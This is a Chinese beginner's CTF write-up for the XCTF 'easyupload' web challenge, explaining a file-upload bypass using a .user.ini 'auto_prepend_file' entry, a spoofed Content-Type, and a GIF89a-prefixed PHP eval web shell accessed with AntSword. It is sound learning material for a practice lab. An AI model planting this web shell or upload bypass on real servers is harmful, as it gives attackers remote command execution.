当前位置: 首页 > article >正文

CTF攻防世界小白刷题自学笔记12

1.easyupload,难度:1,方向:Web,

题目来源:CTF

题目描述:一名合格的黑客眼中,所有的上传点都是开发者留下的后门

给一下题目链接:攻防世界Web方向新手模式第15题。

打开一看果然可以上传图片文件,上传成功有文字提示,上传其他文件也会有错误提示。

说实话,一看到url里面的index.php我就觉得熟悉,CTF攻防世界小白刷题自学笔记10-CSDN博客,我一开始当成了检测上传文件后的response(响应),然后找到flag的老套路,结果根本不靠谱,虽然失败了,但也是复习之前方法的好机会,现在也渐渐有能力尝试解决问题了,不像一开始直接看大佬的writeup(答案),而是挣扎后再看了。我反复在新文章中提到旧文章的题目,也是一种温故而知新了,其实这挺痛苦的(因为我也不记得之前在哪篇文章中有类似题目,所以往往要把所有文章都打开一遍才能找到,有次一次性打开7、8个新页面让我头晕目眩了)

摆烂了,看大佬writeup(答案)了,官方的答案比较抽象,我只保留跟解题相关的(别的我也看不懂,等我遇到相关的题目再说吧)

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

我看了好久writeup(答案),终于总结出萌新解题法,这道题很奇怪(writeup的数量很少,且只有2个详细的,准确只有1个可以详细参考的,而且他们都看的同一篇github上的文章,而且这篇文章已经不见了┭┮﹏┭┮),事已至此,先看理论知识,再下载新的工具,文章都给出来了,我是真的累了(中途去找我之前文章-笔记2里的工具分享文章链接,结果发现文章不见了,本着对文章负责的原则,我自己又把工具上传了,附上了自己的链接)。

.user.ini文件构成的PHP后门-CSDN博客

蚁剑的下载安装及使用_蚁剑安装教程-CSDN博客

先下载蚁剑吧,直接进入github会连接不上,借助CSDN与github的合作连接点击发现新项目就可以进入github了,搜索蚁剑,直接点击第一个然后下载zip就可以了。

醉了,还暗藏玄机,下载好后压缩包里原来是一个百度网盘链接,算了懒得找了,我直接自己整个链接,干脆以后软件工具我自己整理一份得了。

通过网盘分享的文件:antSword
链接: https://pan.baidu.com/s/1D5TobXSOf3lFvT5ZuPZBcw 提取码: 6666

下面开整,

首先是大佬原话,可以通过上传.user.ini以及正常jpg文件来进行getshell,在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。(简称:网页对.user.ini文件不设防,直接走后门)

1.新建.user.ini文件,内容如下
GIF89a
auto_prepend_file=a.jpg
2.上传该文件,并用burp抓包,burpsuite抓包详细操作在笔记8CTF攻防世界小白刷题自学笔记8-CSDN博客,安装详细操作在笔记5CTF攻防世界小白刷题自学笔记5-CSDN博客

将Content-Type: application/octet-stream修改为
Content-Type: image/jpg   PS:直接打开burpsuite的抓包浏览器操作,注意一旦页面没有变化或者抓包信息不变就点击Forward(放行),上传好.user.ini文件后就可以回到原来浏览器上传a.jpg文件了,因为在抓包浏览器上传也无法显示成功。
 

图片


3.放包,结果如下
 

图片


4. 新建a.txt文件,内容为
GIF89a

<?=eval($_REQUEST['cmd']);?>

保存后将文件后缀修改为.jpg
5.直接上传该文件即可成功上传,可以停止监听直接在抓包浏览器上传。注意打开开发者工具(按F12),观察上传文件路径。

最后就是借助蚁剑工具查看flag了,注意输入上传文件地址和连接密码,点击测试连接,连接成功后点击添加。

获得网站详细数据,在网站根目录下找到了flag,结束。

总结:忙着学HCIP,鸽了太久了,又下载了一个新工具,又闹了新笑话,一直点击测试连接还奇怪为什么没有反应,最后才意识到要点添加,为此还重做了一遍,┻┳|・ω・)。


http://www.kler.cn/a/395714.html

相关文章:

  • java:接口,抽象,多态的综合小练习
  • 31-Shard Allocation Awareness(机架感知)
  • 《FreeRTOS任务控制块篇》
  • Go 语言中,golang结合 PostgreSQL 、MySQL驱动 开启数据库事务
  • SpringCloud 微服务消息队列灰度方案 (RocketMQ 4.x)
  • Towards Reasoning in Large Language Models: A Survey
  • 企业生产环境-麒麟V10(ARM架构)操作系统部署kafka高可用集群
  • Lambda常用方法
  • Kafka、RabbitMQ、RocketMQ对比
  • 开源对象存储新选择:在Docker上部署MinIO并实现远程管理
  • sql在按照当前表查询返回
  • 聊天服务器(9)一对一聊天功能
  • 求10000以内n的阶乘
  • SpringBoot开发——整合AJ-Captcha实现安全高效的滑动验证码
  • day-82 最少翻转次数使二进制矩阵回文 I
  • SQL LEFT JOIN 简介
  • windbg的线程信息dt命令
  • 前端项目一键打包自动部署2.0版本
  • Linux故障排查中常用的命令
  • idea 实现版本的切换
  • Java 使用MyBatis-Plus数据操作关键字冲突报错You have an error in your SQL syntax问题
  • linux逻辑卷练习
  • Mybatis官方生成器使用示例
  • 【电脑】解决DiskGenius调整分区大小时报错“文件使用的簇被标记为空闲或与其它文件有交叉”
  • 2023 年 3 月青少年软编等考 C 语言二级真题解析
  • 后端总指挥---文件接口